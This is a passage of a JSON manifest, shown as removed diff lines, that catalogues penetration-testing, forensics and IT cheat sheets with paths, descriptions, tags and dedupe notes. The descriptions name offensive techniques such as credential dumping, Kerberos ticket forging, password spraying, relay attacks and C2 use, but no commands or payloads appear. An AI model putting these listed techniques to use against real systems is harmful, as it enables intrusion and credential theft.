-   "tools": [
-    "Certipy",
-    "Certify"
-   ],
-   "tags": [
-    "active-directory",
-    "adcs",
-    "esc",
-    "certificates"
-   ],
-   "difficulty": "advanced",
-   "action": "port",
-   "note": "3rd consolidated sheet = single ADCS/ESC index; chosen over the 30-file per-ESC ACL-ESC series."
-  },
-  {
-   "source": "vault",
-   "rel": "ActiveDirectory/Rubeus.md",
-   "category": "active-directory",
-   "slug": "rubeus",
-   "title": "Rubeus",
-   "description": "Rubeus Kerberos abuse: kerberoast, asreproast, ticket forging, S4U, pass-the-ticket, overpass-the-hash.",
-   "tools": [
-    "Rubeus"
-   ],
-   "tags": [
-    "active-directory",
-    "kerberos",
-    "tickets"
-   ],
-   "difficulty": "advanced",
-   "action": "port",
-   "note": "Vault version (25KB/24H2/33code) far richer than Tools/Rubeus-Cheatsheet (8.8KB); single canonical Rubeus."
-  },
-  {
-   "source": "vault",
-   "rel": "ActiveDirectory/BloodyAD.md",
-   "category": "active-directory",
-   "slug": "bloodyad",
-   "title": "BloodyAD",
-   "description": "BloodyAD LDAP privilege-abuse toolkit: RBCD, shadow creds, DACL edits, password/attribute writes.",
-   "tools": [
-    "BloodyAD"
-   ],
-   "tags": [
-    "active-directory",
-    "ldap",
-    "acl-abuse"
-   ],
-   "difficulty": "intermediate",
-   "action": "port",
-   "note": "Vault (30KB/106code) beats repo copy (26KB/41code); dedupe winner."
-  },
-  {
-   "source": "repo",
-   "rel": "Active-Directory/Certipy-ad.md",
-   "category": "active-directory",
-   "slug": "certipy",
-   "title": "Certipy",
-   "description": "Certipy ADCS enumeration and ESC exploitation: template abuse, PKINIT, golden certificate, shadow creds.",
-   "tools": [
-    "Certipy"
-   ],
-   "tags": [
-    "active-directory",
-    "adcs",
-    "certificates"
-   ],
-   "difficulty": "advanced",
-   "action": "port",
-   "note": "Repo (22.4KB/39code) edges vault copy and the 8KB Tools/Certipy-ADCS; canonical Certipy tool page."
-  },
-  {
-   "source": "repo",
-   "rel": "Active-Directory/BloodHound-Python_Cheatsheet.md",
-   "category": "active-directory",
-   "slug": "bloodhound",
-   "title": "BloodHound",
-   "description": "BloodHound data collection and analysis with the Python ingestor plus cypher query patterns.",
-   "tools": [
-    "BloodHound",
-    "bloodhound-python"
-   ],
-   "tags": [
-    "active-directory",
-    "graph",
-    "enumeration"
-   ],
-   "difficulty": "intermediate",
-   "action": "port",
-   "note": "Richest BloodHound sheet (25.7KB/53code); dedupes vault BH-python, CE-python, Tools/BloodHound and SharpHound."
-  },
-  {
-   "source": "repo",
-   "rel": "Active-Directory/Impacket_Cheatsheet.md",
-   "category": "active-directory",
-   "slug": "impacket",
-   "title": "Impacket",
-   "description": "Impacket suite: secretsdump, psexec/wmiexec, GetUserSPNs, ntlmrelayx, ticketer, smbserver and more.",
-   "tools": [
-    "Impacket"
-   ],
-   "tags": [
-    "active-directory",
-    "smb",
-    "credentials",
-    "lateral-movement"
-   ],
-   "difficulty": "intermediate",
-   "action": "port",
-   "note": "Repo (22.8KB/84code) beats vault Impacket.md (17KB) and the 8.7KB Tools copy; single canonical Impacket."
-  },
-  {
-   "source": "vault",
-   "rel": "Tools/Netexec (nxc) Cheat Sheet.md",
-   "category": "active-directory",
-   "slug": "netexec",
-   "title": "NetExec (nxc)",
-   "description": "NetExec/CrackMapExec successor: SMB/WinRM/LDAP/MSSQL sweeps, cred spraying, dumping and modules.",
-   "tools": [
-    "NetExec",
-    "nxc"
-   ],
-   "tags": [
-    "active-directory",
-    "smb",
-    "credentials",
-    "enumeration"
-   ],
-   "difficulty": "intermediate",
-   "action": "port",
-   "note": "26.9KB/21H2/50code markdown chosen over the netexec.pdf and 10KB NetExec-Cheatsheet; PDF rewrite unnecessary."
-  },
-  {
-   "source": "vault",
-   "rel": "Tools/Mimikatz-Cheatsheet.md",
-   "category": "active-directory",
-   "slug": "mimikatz",
-   "title": "Mimikatz",
-   "description": "Mimikatz credential extraction: sekurlsa, LSA dumps, DCSync, pass-the-hash/ticket, golden/silver tickets.",
-   "tools": [
-    "Mimikatz"
-   ],
-   "tags": [
-    "active-directory",
-    "credentials",
-    "kerberos"
-   ],
-   "difficulty": "intermediate",
-   "action": "port",
-   "note": "Only Mimikatz sheet; compact but canonical (Mimikatz output is mostly non-code)."
-  },
-  {
-   "source": "vault",
-   "rel": "ActiveDirectory/Kerberos/Kerberoasting Cheatsheet.md",
-   "category": "active-directory",
-   "slug": "kerberoasting",
-   "title": "Kerberoasting",
-   "description": "Request and crack SPN service tickets: GetUserSPNs, Rubeus, hashcat modes and mitigation notes.",
-   "tools": [
-    "Impacket",
-    "Rubeus",
-    "Hashcat"
-   ],
-   "tags": [
-    "active-directory",
-    "kerberos",
-    "cracking"
-   ],
-   "difficulty": "intermediate",
-   "action": "port",
-   "note": "Focused Kerberoasting technique sheet; chosen over the on-host variant and catalog Attack #2."
-  },
-  {
-   "source": "vault",
-   "rel": "ActiveDirectory/Kerbrute.md",
-   "category": "active-directory",
-   "slug": "kerbrute",
-   "title": "Kerbrute",
-   "description": "Kerbrute Kerberos pre-auth user enumeration and password spraying against a domain controller.",
-   "tools": [
-    "Kerbrute"
-   ],
-   "tags": [
-    "active-directory",
-    "kerberos",
-    "enumeration",
-    "spraying"
-   ],
-   "difficulty": "beginner",
-   "action": "port",
-   "note": "Only Kerbrute sheet; distinct user-enum/spray tool."
-  },
-  {
-   "source": "vault",
-   "rel": "ActiveDirectory/LDAP Search.md",
-   "category": "active-directory",
-   "slug": "ldap-enumeration",
-   "title": "LDAP Enumeration",
-   "description": "Manual ldapsearch queries to enumerate AD: users, groups, computers, ACLs, SPNs and attributes.",
-   "tools": [
-    "ldapsearch"
-   ],
-   "tags": [
-    "active-directory",
-    "ldap",
-    "enumeration"
-   ],
-   "difficulty": "intermediate",
-   "action": "port",
-   "note": "Added by critic to fill the LDAP gap; manual query reference distinct from BloodHound/ldapdomaindump automation."
-  },
-  {
-   "source": "vault",
-   "rel": "Enumeration/Nmap Cheatsheet 2026.md",
-   "category": "enumeration",
-   "slug": "nmap",
-   "title": "Nmap",
-   "description": "Nmap host discovery, port/service/version scanning, timing, output formats and common scan recipes.",
-   "tools": [
-    "Nmap"
-   ],
-   "tags": [
-    "enumeration",
-    "port-scanning",
-    "network"
-   ],
-   "difficulty": "beginner",
-   "action": "port",
-   "note": "Canonical Nmap; the 70KB NSE Guide and awesome-nmap-grep are narrower add-ons, dropped for a tight set."
-  },
-  {
-   "source": "vault",
-   "rel": "Enumeration/rustscan.md",
-   "category": "enumeration",
-   "slug": "rustscan",
-   "title": "RustScan",
-   "description": "RustScan fast port discovery, scripting engine, config and Nmap hand-off patterns.",
-   "tools": [
-    "RustScan",
-    "Nmap"
-   ],
-   "tags": [
-    "enumeration",
-    "port-scanning",
-    "network"
-   ],
-   "difficulty": "beginner",
-   "action": "port",
-   "note": "Richest of three RustScan sheets (22.4KB/73code); PDF rewrite unnecessary."
-  },
-  {
-   "source": "vault",
-   "rel": "Enumeration/ffuf_cheat_sheet.md",
-   "category": "enumeration",
-   "slug": "ffuf",
-   "title": "ffuf",
-   "description": "ffuf web fuzzing: directory/vhost/parameter discovery, matchers/filters, recursion and wordlists.",
-   "tools": [
-    "ffuf"
-   ],
-   "tags": [
-    "enumeration",
-    "web",
-    "fuzzing"
-   ],
-   "difficulty": "intermediate",
-   "action": "port",
-   "note": "37KB/84code markdown beats the FFUF PDF and 8.6KB Tools/Ffuf copy; PDF rewrite unnecessary."
-  },
-  {
-   "source": "vault",
-   "rel": "Tools/gobuster.md",
-   "category": "enumeration",
-   "slug": "gobuster",
-   "title": "Gobuster",
-   "description": "Gobuster dir, dns, vhost and s3 brute-forcing modes with wordlist and status-code options.",
-   "tools": [
-    "Gobuster"
-   ],
-   "tags": [
-    "enumeration",
-    "web",
-    "brute-force"
-   ],
-   "difficulty": "beginner",
-   "action": "port",
-   "note": "Distinct dir/DNS busting tool; complements ffuf."
-  },
-  {
-   "source": "vault",
-   "rel": "Tools/Nuclei-Cheatsheet.md",
-   "category": "enumeration",
-   "slug": "nuclei",
-   "title": "Nuclei",
-   "description": "Nuclei template-based vulnerability scanning: template selection, tags, severity and workflows.",
-   "tools": [
-    "Nuclei"
-   ],
-   "tags": [
-    "enumeration",
-    "scanning",
-    "vulnerabilities"
-   ],
-   "difficulty": "intermediate",
-   "action": "port",
-   "note": "Dedicated Nuclei (27.7KB) preferred over the combined Nikto & Nuclei sheet for one clean tool page."
-  },
-  {
-   "source": "vault",
-   "rel": "Enumeration/WPScan.md",
-   "category": "enumeration",
-   "slug": "wpscan",
-   "title": "WPScan",
-   "description": "WPScan WordPress enumeration: plugins/themes/users, vuln API tokens and password attacks.",
-   "tools": [
-    "WPScan"
-   ],
-   "tags": [
-    "enumeration",
-    "web",
-    "wordpress"
-   ],
-   "difficulty": "intermediate",
-   "action": "port",
-   "note": "WPScan.md (43KB) richer than WPScan 1 (24KB); dedupe winner."
-  },
-  {
-   "source": "vault",
-   "rel": "Enumeration/SMBMAP.md",
-   "category": "enumeration",
-   "slug": "smbmap",
-   "title": "SMBMap",
-   "description": "SMBMap share enumeration, permissions mapping, file download/upload and command execution over SMB.",
-   "tools": [
-    "SMBMap"
-   ],
-   "tags": [
-    "enumeration",
-    "smb",
-    "shares"
-   ],
-   "difficulty": "beginner",
-   "action": "port",
-   "note": "Canonical SMB share-enum tool page."
-  },
-  {
-   "source": "repo",
-   "rel": "Enumeration/Shodan_Cheatsheet.md",
-   "category": "enumeration",
-   "slug": "shodan",
-   "title": "Shodan",
-   "description": "Shodan search filters, dorks, CLI and API workflows for internet-wide asset and service discovery.",
-   "tools": [
-    "Shodan"
-   ],
-   "tags": [
-    "enumeration",
-    "osint",
-    "recon"
-   ],
-   "difficulty": "intermediate",
-   "action": "port",
-   "note": "Huge OSINT sheet (44KB/264code); only Shodan reference and a distinct recon angle."
-  },
-  {
-   "source": "vault",
-   "rel": "Exploitation/sqlmap.md",
-   "category": "exploitation",
-   "slug": "sqlmap",
-   "title": "SQLMap",
-   "description": "SQLMap automated SQL injection: target flags, techniques, enumeration, dumping and tamper scripts.",
-   "tools": [
-    "SQLMap"
-   ],
-   "tags": [
-    "exploitation",
-    "sql-injection",
-    "web"
-   ],
-   "difficulty": "intermediate",
-   "action": "port",
-   "note": "Ultimate SQLMap (29KB) chosen over the 20KB SQLi-testing variant; single canonical sqlmap."
-  },
-  {
-   "source": "vault",
-   "rel": "Exploitation/Jailbreak - TTY Upgrade.md",
-   "category": "exploitation",
-   "slug": "shell-stabilization",
-   "title": "Shell Stabilization & TTY Upgrades",
-   "description": "Upgrade dumb shells to full TTYs and escape restricted shells (rbash, jails) with many techniques.",
-   "tools": [
-    "python",
-    "socat",
-    "stty"
-   ],
-   "tags": [
-    "exploitation",
-    "shells",
-    "post-exploitation"
-   ],
-   "difficulty": "intermediate",
-   "action": "port",
-   "note": "57KB/247code sheet beats the 17KB TTY variant and the tty_shell PDF; PDF rewrite unnecessary."
-  },
-  {
-   "source": "vault",
-   "rel": "Tools/meterpreter.md",
-   "category": "exploitation",
-   "slug": "metasploit",
-   "title": "Metasploit Framework",
-   "description": "msfconsole and Meterpreter workflow: search, exploits, payloads, sessions, post modules, pivoting.",
-   "tools": [
-    "Metasploit",
-    "msfconsole",
-    "Meterpreter"
-   ],
-   "tags": [
-    "exploitation",
-    "framework",
-    "post-exploitation"
-   ],
-   "difficulty": "intermediate",
-   "action": "port",
-   "note": "48KB markdown covers msfconsole+meterpreter, so the two metasploit PDFs are not rewritten."
-  },
-  {
-   "source": "repo",
-   "rel": "HTB/cheatsheet-stack-based-buffer-overflows-on-windows-x86.pdf",
-   "category": "exploitation",
-   "slug": "buffer-overflow",
-   "title": "Stack-Based Buffer Overflow (Win x86)",
-   "description": "Classic Windows x86 stack overflow: fuzzing, EIP control, bad chars, JMP ESP, shellcode.",
-   "tools": [
-    "Immunity Debugger",
-    "mona.py",
-    "msfvenom"
-   ],
-   "tags": [
-    "exploitation",
-    "buffer-overflow",
-    "windows",
-    "binary"
-   ],
-   "difficulty": "advanced",
-   "action": "rewrite_from_pdf",
-   "note": "PDF-only classic binary-exploitation topic with no markdown equivalent; worth converting."
-  },
-  {
-   "source": "vault",
-   "rel": "PrivEsc/PrivEsc - Windows.md",
-   "category": "privilege-escalation",
-   "slug": "windows-privesc",
-   "title": "Windows Privilege Escalation",
-   "description": "Windows privesc master guide: token/privilege abuse, services, registry, AlwaysInstallElevated, potatoes.",
-   "tools": [
-    "winPEAS",
-    "PowerUp",
-    "JuicyPotato"
-   ],
-   "tags": [
-    "privilege-escalation",
-    "windows",
-    "post-exploitation"
-   ],
-   "difficulty": "advanced",
-   "action": "port",
-   "note": "118-code master guide chosen over the two other Windows privesc dumps; single canonical page."
-  },
-  {
-   "source": "vault",
-   "rel": "PrivEsc/Linux PrivEsc Cheat Sheet.md",
-   "category": "privilege-escalation",
-   "slug": "linux-privesc",
-   "title": "Linux Privilege Escalation",
-   "description": "Linux privesc quick-reference: sudo, SUID/SGID, cron, LD_PRELOAD, LXD, NFS, capabilities and kernel.",
-   "tools": [
-    "linPEAS",
-    "pspy",
-    "GTFOBins"
-   ],
-   "tags": [
-    "privilege-escalation",
-    "linux",
-    "post-exploitation"
-   ],
-   "difficulty": "intermediate",
-   "action": "port",
-   "note": "Only Linux privesc candidate; dense command-table checklist (0 fenced code because it is a table)."
-  },
-  {
-   "source": "vault",
-   "rel": "PasswordAttacks/hashcat-cheatsheet.md",
-   "category": "password-attacks",
-   "slug": "hashcat",
-   "title": "Hashcat",
-   "description": "Hashcat cracking: attack modes, hash-mode selection, rules, masks, wordlists and performance tuning.",
-   "tools": [
-    "Hashcat"
-   ],
-   "tags": [
-    "password-attacks",
-    "cracking",
-    "hashes"
-   ],
-   "difficulty": "intermediate",
-   "action": "port",
-   "note": "Structured sheet (11 H2/12 code) preferred over the Tools copy and the raw hashcat-modes table."
-  },
-  {
-   "source": "vault",
-   "rel": "PasswordAttacks/john-cheatsheet.md",
-   "category": "password-attacks",
-   "slug": "john-the-ripper",
-   "title": "John the Ripper",
-   "description": "John the Ripper: 2john extractors, formats, wordlist/incremental/rules modes and session control.",
-   "tools": [
-    "John the Ripper"
-   ],
-   "tags": [
-    "password-attacks",
-    "cracking",
-    "hashes"
-   ],
-   "difficulty": "intermediate",
-   "action": "port",
-   "note": "13KB markdown beats the john PDF; PDF rewrite unnecessary."
-  },
-  {
-   "source": "repo",
-   "rel": "Password-Attacks/Password_Attacks_Cheat_Sheet.pdf",
-   "category": "password-attacks",
-   "slug": "password-attacks",
-   "title": "Password Attacks & Brute Forcing",
-   "description": "Online/offline password attacks: Hydra/Medusa service brute-forcing, spraying, mutations and defaults.",
-   "tools": [
-    "Hydra",
-    "Medusa",
-    "CrackMapExec"
-   ],
-   "tags": [
-    "password-attacks",
-    "brute-force",
-    "spraying"
-   ],
-   "difficulty": "intermediate",
-   "action": "rewrite_from_pdf",
-   "note": "PDF-only; covers network brute-forcing/spraying not in the hashcat/john offline-cracking sheets."
-  },
-  {
-   "source": "vault",
-   "rel": "Web/Cross-Site Scripting (XSS) - HTB Cheat Sheet.md",
-   "category": "web",
-   "slug": "xss",
-   "title": "Cross-Site Scripting (XSS)",
-   "description": "Reflected/stored/DOM XSS discovery, payloads, filter bypass and blind-XSS callbacks.",
-   "tools": [
-    "Burp Suite"
-   ],
-   "tags": [
-    "web",
-    "xss",
-    "injection"
-   ],
-   "difficulty": "intermediate",
-   "action": "port",
-   "note": "Main XSS reference; the three blind-XSS tool sheets (ezXSS/Interactsh/XSS Hunter) dropped as too granular."
-  },
-  {
-   "source": "vault",
-   "rel": "Web/Phishing Site & Link Identification - Cheat Sheet.md",
-   "category": "web",
-   "slug": "phishing-identification",
-   "title": "Phishing Identification",
-   "description": "Identify phishing sites and malicious links: URL/domain analysis, indicators and triage workflow.",
-   "tools": [
-    "urlscan",
-    "VirusTotal"
-   ],
-   "tags": [
-    "web",
-    "phishing",
-    "osint",
-    "defense"
-   ],
-   "difficulty": "intermediate",
-   "action": "port",
-   "note": "Richer than the two phishing PDFs; markdown chosen over rewrite."
-  },
-  {
-   "source": "repo",
-   "rel": "HTB/cheatsheet-sql-injection-fundamentals.pdf",
-   "category": "web",
-   "slug": "sql-injection",
-   "title": "SQL Injection Fundamentals",
-   "description": "Manual SQL injection: auth bypass, UNION, error/blind, DB fingerprinting and file read/write.",
-   "tools": [
-    "MySQL client"
-   ],
-   "tags": [
-    "web",
-    "sql-injection",
-    "injection"
-   ],
-   "difficulty": "intermediate",
-   "action": "rewrite_from_pdf",
-   "note": "PDF-only manual SQLi complements the automated sqlmap page; distinct angle."
-  },
-  {
-   "source": "repo",
-   "rel": "HTB/cheatsheet-file-inclusion.pdf",
-   "category": "web",
-   "slug": "file-inclusion",
-   "title": "File Inclusion (LFI/RFI)",
-   "description": "LFI/RFI exploitation: wrappers, log/wrapper poisoning, RCE, filter bypass and common payloads.",
-   "tools": [
-    "curl"
-   ],
-   "tags": [
-    "web",
-    "lfi",
-    "rfi",
-    "injection"
-   ],
-   "difficulty": "intermediate",
-   "action": "rewrite_from_pdf",
-   "note": "PDF-only; the vault LFI markdown is a 4.8KB stub with 0 code, so rewrite the PDF instead."
-  },
-  {
-   "source": "vault",
-   "rel": "Web/Curl Document.pdf",
-   "category": "web",
-   "slug": "curl",
-   "title": "cURL",
-   "description": "cURL for web testing: methods, headers, auth, cookies, proxies, file upload/download and scripting.",
-   "tools": [
-    "curl"
-   ],
-   "tags": [
-    "web",
-    "http",
-    "tooling"
-   ],
-   "difficulty": "beginner",
-   "action": "rewrite_from_pdf",
-   "note": "PDF-only staple; vault copy has the correct filename (repo copy is misnamed 'Curk')."
-  },
-  {
-   "source": "vault",
-   "rel": "Tools/Ligolo-ng Cheat sheet.md",
-   "category": "tunneling-pivoting",
-   "slug": "ligolo-ng",
-   "title": "Ligolo-ng",
-   "description": "Ligolo-ng tunneling: agent/proxy setup, interface routing, double/multi-hop pivots and listeners.",
-   "tools": [
-    "Ligolo-ng"
-   ],
-   "tags": [
-    "pivoting",
-    "tunneling",
-    "network"
-   ],
-   "difficulty": "intermediate",
-   "action": "port",
-   "note": "55KB markdown supersedes the two Ligolo PDFs; PDF rewrite unnecessary."
-  },
-  {
-   "source": "vault",
-   "rel": "Misc/Tunneling.md",
-   "category": "tunneling-pivoting",
-   "slug": "tunneling-tools",
-   "title": "Tunneling Tools",
-   "description": "Chisel, socat, plink and SSH tunneling patterns for port forwarding and pivoting through hosts.",
-   "tools": [
-    "Chisel",
-    "socat",
-    "plink",
-    "SSH"
-   ],
-   "tags": [
-    "pivoting",
-    "tunneling",
-    "port-forwarding"
-   ],
-   "difficulty": "advanced",
-   "action": "port",
-   "note": "Comprehensive multi-tool tunneling (35KB/93code); chosen over the narrower Pivoting & Tunnelling sheet."
-  },
-  {
-   "source": "vault",
-   "rel": "Misc/SSH Portfwding with metasploit .md",
-   "category": "tunneling-pivoting",
-   "slug": "ssh-tunneling",
-   "title": "SSH Tunneling & Port Forwarding",
-   "description": "SSH local/remote/dynamic forwarding and Metasploit route/portfwd pivoting, worked end to end.",
-   "tools": [
-    "SSH",
-    "Metasploit"
-   ],
-   "tags": [
-    "pivoting",
-    "ssh",
-    "port-forwarding"
-   ],
-   "difficulty": "intermediate",
-   "action": "port",
-   "note": "SSH+Metasploit focus distinct from the general tunneling and Ligolo pages."
-  },
-  {
-   "source": "vault",
-   "rel": "Cryptography/GPG - Cheatsheet markdown.md",
-   "category": "cryptography",
-   "slug": "gpg",
-   "title": "GPG",
-   "description": "GnuPG keys, encryption/decryption, signing/verification, keyservers, trust and revocation.",
-   "tools": [
-    "GPG",
-    "GnuPG"
-   ],
-   "tags": [
-    "cryptography",
-    "encryption",
-    "pgp"
-   ],
-   "difficulty": "intermediate",
-   "action": "port",
-   "note": "75KB/154code markdown beats both GPG PDFs; PDF rewrite unnecessary."
-  },
-  {
-   "source": "repo",
-   "rel": "Misc/openssl-cheatsheet.pdf",
-   "category": "cryptography",
-   "slug": "openssl",
-   "title": "OpenSSL",
-   "description": "OpenSSL: keys, CSRs, certs, x509 inspection, PEM/DER conversion, s_client and encryption.",
-   "tools": [
-    "OpenSSL"
-   ],
-   "tags": [
-    "cryptography",
-    "tls",
-    "certificates"
-   ],
-   "difficulty": "intermediate",
-   "action": "rewrite_from_pdf",
-   "note": "PDF-only crypto staple with no markdown equivalent."
-  },
-  {
-   "source": "vault",
-   "rel": "HashingAndEncrypting/Hashing cheat sheet .md",
-   "category": "cryptography",
-   "slug": "hashing",
-   "title": "Hashing & Hash Identification",
-   "description": "Compute and identify hashes (md5/sha/NTLM), encodings, and pick the right cracking mode.",
-   "tools": [
-    "hashid",
-    "hash-identifier",
-    "openssl"
-   ],
-   "tags": [
-    "cryptography",
-    "hashing",
-    "identification"
-   ],
-   "difficulty": "beginner",
-   "action": "port",
-   "note": "Only manual-hashing sheet; complements GPG/OpenSSL and feeds the password-cracking pages."
-  },
-  {
-   "source": "vault",
-   "rel": "DFIR/Forensics Cheatsheet.md",
-   "category": "dfir",
-   "slug": "forensics",
-   "title": "Digital Forensics",
-   "description": "Cross-platform DFIR reference: acquisition, triage, artifacts, timelines and analysis commands.",
-   "tools": [
-    "Autopsy",
-    "Sleuth Kit",
-    "plaso"
-   ],
-   "tags": [
-    "dfir",
-    "forensics",
-    "incident-response"
-   ],
-   "difficulty": "intermediate",
-   "action": "port",
-   "note": "Broadest DFIR sheet (73KB/60code); general forensics anchor."
-  },
-  {
-   "source": "vault",
-   "rel": "DFIR/Volitility3 .md",
-   "category": "dfir",
-   "slug": "volatility",
-   "title": "Volatility 3",
-   "description": "Volatility 3 Windows memory forensics: processes, network, injection, hashes and plugin workflow.",
-   "tools": [
-    "Volatility 3"
-   ],
-   "tags": [
-    "dfir",
-    "memory-forensics",
-    "malware"
-   ],
-   "difficulty": "advanced",
-   "action": "port",
-   "note": "Only Volatility sheet; core memory-forensics tool."
-  },
-  {
-   "source": "vault",
-   "rel": "DFIR/REDmd - Quick Cheat sheet.md",
-   "category": "dfir",
-   "slug": "recmd",
-   "title": "RECmd Registry Forensics",
-   "description": "RECmd registry analysis workflow: batch files, keys of interest and evidence extraction.",
-   "tools": [
-    "RECmd",
-    "Registry Explorer"
-   ],
-   "tags": [
-    "dfir",
-    "registry",
-    "windows"
-   ],
-   "difficulty": "advanced",
-   "action": "port",
-   "note": "Quick cheat/workflow variant chosen over the longer RECmd FullGuide; one canonical RECmd page."
-  },
-  {
-   "source": "vault",
-   "rel": "Tools/Tshark.md",
-   "category": "dfir",
-   "slug": "tshark",
-   "title": "TShark",
-   "description": "TShark CLI packet capture and analysis: filters, fields, follow streams and extraction for triage.",
-   "tools": [
-    "TShark",
-    "Wireshark"
-   ],
-   "tags": [
-    "dfir",
-    "network-forensics",
-    "pcap"
-   ],
-   "difficulty": "intermediate",
-   "action": "port",
-   "note": "Network-traffic analysis rep for DFIR; preferred over the narrower pcap-credential-extraction sheet."
-  },
-  {
-   "source": "vault",
-   "rel": "Tools/CMD-Powershell Cheat Sheet.md",
-   "category": "tools",
-   "slug": "windows-cmd-powershell",
-   "title": "Windows CMD & PowerShell",
-   "description": "Windows pentest command reference: recon, users/groups, networking, downloads and PowerShell one-liners.",
-   "tools": [
-    "cmd",
-    "PowerShell"
-   ],
-   "tags": [
-    "windows",
-    "post-exploitation",
-    "commands"
-   ],
-   "difficulty": "intermediate",
-   "action": "port",
-   "note": "71KB/161code superset; dedupes the standalone Powershell.md."
-  },
-  {
-   "source": "vault",
-   "rel": "Tools/fscan.md",
-   "category": "tools",
-   "slug": "fscan",
-   "title": "fscan",
-   "description": "fscan all-in-one intranet scanner: host/port discovery, service brute-forcing and vuln checks.",
-   "tools": [
-    "fscan"
-   ],
-   "tags": [
-    "scanning",
-    "enumeration",
-    "internal"
-   ],
-   "difficulty": "intermediate",
-   "action": "port",
-   "note": "Distinct all-in-one internal scanner (43KB)."
-  },
-  {
-   "source": "vault",
-   "rel": "Tools/EyeWitness-Cheatsheet.md",
-   "category": "tools",
-   "slug": "eyewitness",
-   "title": "EyeWitness",
-   "description": "EyeWitness bulk web/RDP/VNC screenshotting and reporting for rapid visual recon.",
-   "tools": [
-    "EyeWitness"
-   ],
-   "tags": [
-    "recon",
-    "screenshots",
-    "web"
-   ],
-   "difficulty": "beginner",
-   "action": "port",
-   "note": "Only screenshot-recon tool sheet."
-  },
-  {
-   "source": "vault",
-   "rel": "ActiveDirectory/Snaffler.md",
-   "category": "tools",
-   "slug": "snaffler",
-   "title": "Snaffler",
-   "description": "Snaffler share-crawling for credentials, keys and sensitive files across SMB with tuning rules.",
-   "tools": [
-    "Snaffler"
-   ],
-   "tags": [
-    "credentials",
-    "shares",
-    "enumeration"
-   ],
-   "difficulty": "intermediate",
-   "action": "port",
-   "note": "Rich share/credential hunting tool (28KB/38code)."
-  },
-  {
-   "source": "vault",
-   "rel": "ActiveDirectory/SharpSploit.md",
-   "category": "tools",
-   "slug": "sharpsploit",
-   "title": "SharpSploit",
-   "description": "SharpSploit .NET post-exploitation library: execution, credentials, enumeration and evasion APIs.",
-   "tools": [
-    "SharpSploit"
-   ],
-   "tags": [
-    "post-exploitation",
-    "dotnet",
-    "offensive"
-   ],
-   "difficulty": "advanced",
-   "action": "port",
-   "note": "Rich .NET tradecraft sheet (28KB); distinct from GUI/CLI tools."
-  },
-  {
-   "source": "vault",
-   "rel": "Tools/NTLM-Kerberos-Relay-Cheatsheet.md",
-   "category": "tools",
-   "slug": "ntlm-kerberos-relay",
-   "title": "NTLM & Kerberos Relay",
-   "description": "Coercion and relay attacks: ntlmrelayx/Responder targets, ADCS/LDAP relay and Kerberos relaying.",
-   "tools": [
-    "ntlmrelayx",
-    "Responder",
-    "Coercer"
-   ],
-   "tags": [
-    "relay",
-    "ntlm",
-    "kerberos",
-    "coercion"
-   ],
-   "difficulty": "advanced",
-   "action": "port",
-   "note": "Consolidated relay/coercion reference; complements Impacket without duplicating it."
-  },
-  {
-   "source": "vault",
-   "rel": "Tools/Cobalt-Strike-Cheatsheet.md",
-   "category": "tools",
-   "slug": "cobalt-strike",
-   "title": "Cobalt Strike",
-   "description": "Cobalt Strike operator reference: beacon commands, listeners, pivoting and post-exploitation.",
-   "tools": [
-    "Cobalt Strike"
-   ],
-   "tags": [
-    "c2",
-    "post-exploitation",
-    "red-team"
-   ],
-   "difficulty": "advanced",
-   "action": "port",
-   "note": "Only C2 reference; command-light because CS is GUI-driven, but fills a real gap."
-  },
-  {
-   "source": "repo",
-   "rel": "HTB/cheatsheet-file-transfers.pdf",
-   "category": "tools",
-   "slug": "file-transfers",
-   "title": "File Transfers",
-   "description": "Move files to/from targets on Windows/Linux: HTTP, SMB, certutil, base64, nc and living-off-the-land.",
-   "tools": [
-    "certutil",
-    "wget",
-    "nc",
-    "smbserver"
-   ],
-   "tags": [
-    "post-exploitation",
-    "file-transfer",
-    "windows",
-    "linux"
-   ],
-   "difficulty": "intermediate",
-   "action": "rewrite_from_pdf",
-   "note": "PDF-only essential technique with no markdown equivalent; high-value convert."
-  },
-  {
-   "source": "vault",
-   "rel": "Linux/Find Command.md",
-   "category": "linux-it",
-   "slug": "linux-find",
-   "title": "Linux find Command",
-   "description": "find recipes: by name/type/time/perm/size, SUID hunting, exec actions and pruning noisy paths.",
-   "tools": [
-    "find"
-   ],
-   "tags": [
-    "linux",
-    "cli",
-    "search"
-   ],
-   "difficulty": "intermediate",
-   "action": "port",
-   "note": "Canonical find sheet; dedupes the broader File & Directory Search sheet."
-  },
-  {
-   "source": "repo",
-   "rel": "Linux/chmod-cheatsheet.pdf",
-   "category": "linux-it",
-   "slug": "chmod",
-   "title": "chmod & File Permissions",
-   "description": "Linux permission model: symbolic/octal chmod, chown, umask, SUID/SGID/sticky bits explained.",
-   "tools": [
-    "chmod",
-    "chown",
-    "umask"
-   ],
-   "tags": [
-    "linux",
-    "permissions",
-    "cli"
-   ],
-   "difficulty": "beginner",
-   "action": "rewrite_from_pdf",
-   "note": "PDF-only IT staple named in the brief; no markdown equivalent."
-  },
-  {
-   "source": "vault",
-   "rel": "macOS/macOS Terminal Tweaks Cheat Sheet.md",
-   "category": "linux-it",
-   "slug": "macos-terminal",
-   "title": "macOS Terminal Tweaks",
-   "description": "Hidden macOS terminal/defaults tweaks and productivity commands for the CLI.",
-   "tools": [
-    "defaults",
-    "zsh"
-   ],
-   "tags": [
-    "macos",
-    "terminal",
-    "productivity"
-   ],
-   "difficulty": "beginner",
-   "action": "port",
-   "note": "IT staple; dedupes the identical root-level copy (uses the macOS/ path)."
-  },
-  {
-   "source": "vault",
-   "rel": "Misc/tmux.md",
-   "category": "linux-it",
-   "slug": "tmux",
-   "title": "tmux",
-   "description": "tmux sessions, windows, panes, copy mode and config bindings for terminal multiplexing.",
-   "tools": [
-    "tmux"
-   ],
-   "tags": [
-    "linux",
-    "terminal",
-    "productivity"
-   ],
-   "difficulty": "beginner",
-   "action": "port",
-   "note": "IT staple named in the brief."
-  },
-  {
-   "source": "vault",
-   "rel": "Git/git-cheatsheet.md",
-   "category": "git-workflow",
-   "slug": "git",
-   "title": "Git",
-   "description": "Everyday Git: staging, commits, remotes, log/diff, stash, merge/rebase and recovery.",
-   "tools": [
-    "git"
-   ],
-   "tags": [
-    "git",
-    "version-control",
-    "workflow"
-   ],
-   "difficulty": "beginner",
-   "action": "port",
-   "note": "Most comprehensive Git sheet (31KB/46code); core Git reference."
-  },
-  {
-   "source": "vault",
-   "rel": "Git/Branches Expanded.md",
-   "category": "git-workflow",
-   "slug": "git-branching",
-   "title": "Git Branching",
-   "description": "Branch workflows: create/switch, track remotes, merge vs rebase, and moving edits between branches.",
-   "tools": [
-    "git"
